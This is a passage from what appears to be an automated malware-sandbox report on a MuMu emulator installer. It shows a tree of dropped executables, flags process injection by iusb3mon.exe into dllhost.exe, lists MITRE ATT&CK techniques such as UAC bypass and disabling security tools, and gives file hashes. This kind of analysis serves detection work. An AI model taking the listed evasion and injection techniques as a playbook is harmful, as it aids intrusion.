        C:\Users\Admin\AppData\Local\Temp\7z9631B71C\crashpad_handler.exe --no-rate-limit --database=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --metrics-dir=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native --url=https://sentry.netease.com:443/api/324/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=02fc884050864ef68fb1d7655e21d3a1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\7aa13f5b-cbf2-44e7-69b9-b88840fc13cc.run\__sentry-event --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\7aa13f5b-cbf2-44e7-69b9-b88840fc13cc.run\__sentry-breadcrumb1 --attachment=C:\Users\Admin\AppData\Local\NemuServer\.sentry-native\7aa13f5b-cbf2-44e7-69b9-b88840fc13cc.run\__sentry-breadcrumb2 --initial-client-data=0x39c,0x3a0,0x3a4,0x378,0x3a8,0x70264800,0x70264818,0x70264828
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:5984
    - - C:\Users\Admin\AppData\Local\Temp\7z9631B71C\ColaBoxChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z9631B71C\ColaBoxChecker.exe" checker /baseboard
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3944
    - - C:\Users\Admin\AppData\Local\Temp\7z9631B71C\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z9631B71C\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:1932
    - - C:\Users\Admin\AppData\Local\Temp\7z9631B71C\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z9631B71C\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:5652
    - - C:\Users\Admin\AppData\Local\Temp\7z9631B71C\HyperVChecker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7z9631B71C\HyperVChecker.exe"
        5⤵
        Executes dropped EXE
        
        PID:2784

C:\Users\Admin\AppData\Local\iusb3mon.exe
C:\Users\Admin\AppData\Local\iusb3mon.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\SysWOW64\dllhost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5424

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MuMu_Ä£ÄâÆ÷.exe

Path C:\Program Files\Your Product\MuMu_Ä£ÄâÆ÷.exe
Size 5.8MB
SHA256 8dfe6f7a489e96e3280ae168a8b1b09e4926b07a67979774fa305d546d564ad8
MD5 d9153e6189842c8c93e356faa89428bf
SHA1 89880243783e15b209a56d99f82418bb7ef52795
SHA512 98a2b0b1268a80e9c767dd1578bc4a4b7d1c7da2234f2ad6af2d7f616e8937f3cccccde1fb436580b809e00470dc8d1c837aa969e920539b3a3c32563be91cda
SSDEEP 98304:ve76uFFkOuPTRc+f+E2Bk3PndGaX6tJJQv2FKA75ObVc99VCOxecc02vDRZTEL:276uFFkOuPlB+xGo3u0VWjcc02vVZoL
TLSH
T1EF56239296017376D40E5DFC556D87BAFE637CEEA948284211CEF1ABB0E81201F94DCB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ziliao.jpg

Path C:\Users\Admin\AppData\Local\Local\ziliao.jpg
Size 309KB
SHA256 df9e28f46ca9cdbabf5b0423d5d2d2d9d30bdd68b4c7a3521582d28d07a08d4f
MD5 a8694a3384f173cf53affa010d17ce3c
SHA1 c1a99df3a837e849d1c5e6b09aa3cd3658b8e1e1
SHA512 3d90f1ed61e813dadf785237857cffcc4a3a9b5dd0f99cb80a754ae2ad693026345c53a8eb2c1127a8d7ba6bee6b8f9a28cbe6ec88ee57e1b616e127c18e4988
SSDEEP 6144:X4aFS0le7zN1dhbNySWdoEiyXyGJKmzuL5w3k776jDGWyA/b:X4a4kMZJNVmopdyuMk7WyAD
TLSH
T11964235D6CF2AA8B3AB6445671FEE56531E84B548C27FC02FF81AC08BB2079509C3667
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download